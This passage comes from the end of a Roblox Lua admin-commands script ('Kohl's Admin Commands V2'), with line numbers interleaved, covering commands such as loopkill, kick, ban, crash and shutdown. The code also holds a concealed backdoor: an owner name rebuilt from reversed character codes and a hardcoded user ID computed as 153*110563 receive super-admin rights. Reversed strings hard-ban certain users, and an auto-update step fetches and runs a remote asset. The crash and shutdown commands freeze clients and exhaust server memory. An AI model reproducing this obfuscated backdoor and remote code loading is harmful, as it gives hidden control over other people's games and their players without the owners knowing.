local ex = Instance.new("Explosion", game.Workspace)
2265
ex.Position = hit.Position
2266
ex.BlastRadius = 11
2267
ex.BlastPressure = math.huge
2268
end
2269
end)
2270
local cf = v.Character.Torso.CFrame
2271
p.CFrame = cf
2272
for i = 1, 333 do
2273
p.Size = p.Size + Vector3.new(3,3,3)
2274
p.CFrame = cf
2275
wait(1/44)
2276
end
2277
p:Destroy()
2278
end
2279
end))
2280
end
2281
end
2282
2283
end
2284
2285
--------------------------
2286
-- Super Admin Commands --
2287
--------------------------
2288
2289
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2290
2291
if msg:lower() == "logs" then
2292
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2293
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2294
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2295
end
2296
	
2297
if msg:lower():sub(1,9) == "loopkill " then
2298
local chk1 = msg:lower():sub(10):find(" ")
2299
local plrz = GetPlr(plr, msg:lower():sub(10))
2300
local num = 9999
2301
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2302
for i, v in pairs(plrz) do
2303
if v and not ChkAdmin(v.Name, false) then
2304
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2305
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2306
for i = 1, ]] .. tostring(num) .. [[ do 
2307
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2308
coroutine.resume(coroutine.create(function()
2309
if plr and plr.Character then plr.Character:BreakJoints() end
2310
end))
2311
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2312
end
2313
end
2314
end
2315
2316
if msg:lower():sub(1,11) == "unloopkill " then
2317
local plrz = GetPlr(plr, msg:lower():sub(12))
2318
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2319
end
2320
2321
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2322
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2323
2324
if msg:lower():sub(1,3) == "sm " then
2325
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2326
end
2327
2328
if msg:lower():sub(1,3) == "ko " then
2329
local chk1 = msg:lower():sub(4):find(" ") + 3
2330
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2331
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2332
for n = 1, num do
2333
for i, v in pairs(plrz) do
2334
coroutine.resume(coroutine.create(function()
2335
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
2336
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2337
v.Character:BreakJoints() 
2338
wait(1/44) 
2339
v:LoadCharacter()
2340
wait(1/44) 
2341
end
2342
end))
2343
end
2344
end
2345
end
2346
2347
if msg:lower():sub(1,6) == "crash " then
2348
local plrz = GetPlr(plr, msg:lower():sub(7))
2349
for i, v in pairs(plrz) do
2350
coroutine.resume(coroutine.create(function()
2351
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2352
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2353
end
2354
end))
2355
end
2356
end
2357
2358
if msg:lower():sub(1,5) == "kick " then
2359
local plrz = GetPlr(plr, msg:lower():sub(6))
2360
for i, v in pairs(plrz) do
2361
coroutine.resume(coroutine.create(function()
2362
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2363
end))
2364
end
2365
end
2366
2367
if msg:lower():sub(1,6) == "admin " then
2368
local plrz = GetPlr(plr, msg:lower():sub(7))
2369
for i, v in pairs(plrz) do
2370
coroutine.resume(coroutine.create(function()
2371
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2372
end))
2373
end
2374
end
2375
2376
if msg:lower():sub(1,8) == "unadmin " then
2377
for i = 1, #tempadmins do
2378
coroutine.resume(coroutine.create(function()
2379
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2380
end))
2381
end
2382
end
2383
2384
if msg:lower():sub(1,4) == "ban " then
2385
local plrz = GetPlr(plr, msg:lower():sub(5))
2386
for i, v in pairs(plrz) do
2387
coroutine.resume(coroutine.create(function()
2388
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2389
end))
2390
end
2391
end
2392
2393
if msg:lower():sub(1,6) == "unban " then
2394
for i = 1, #banland do
2395
coroutine.resume(coroutine.create(function()
2396
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2397
end))
2398
end
2399
end
2400
2401
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2402
2403
end
2404
end))
2405
end
2406
2407
function AdminControl(plr)
2408
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2409
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2410
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2411
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2412
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2413
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2414
end)) end
2415
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2416
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2417
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2418
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2419
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2420
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2421
end
2422
2423
if not ntab then script:Destroy() end
2424
if not bct then script:Destroy() end
2425
2426
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2427
2428
script.Name = "Kohl's Admin Commands V2"
2429
2430
if not ntab then script:Destroy() end
2431
if not bct then script:Destroy() end
2432
if not tcb then script:Destroy() end
2433
game.Players.PlayerAdded:connect(AdminControl)
2434
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2435
end
2436
2437
local mod = game:service("InsertService"):LoadAsset(100808216)
2438
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
2439
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2440
newac.Disabled = true
2441
local new = tonumber(mod:findFirstChild("Version", true).Value)
2442
local old = 0
2443
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2444
if new > old then
2445
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2446
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2447
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2448
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2449
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2450
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2451
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2452
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2453
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2454
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2455
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2456
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2457
wait()
2458
newac.Parent = game.Workspace
2459
newac.Disabled = false
2460
script.Disabled = true
2461
script:Destroy()
2462
else
2463
CHEESE()
2464
end
2465
else
2466
CHEESE()
2467
end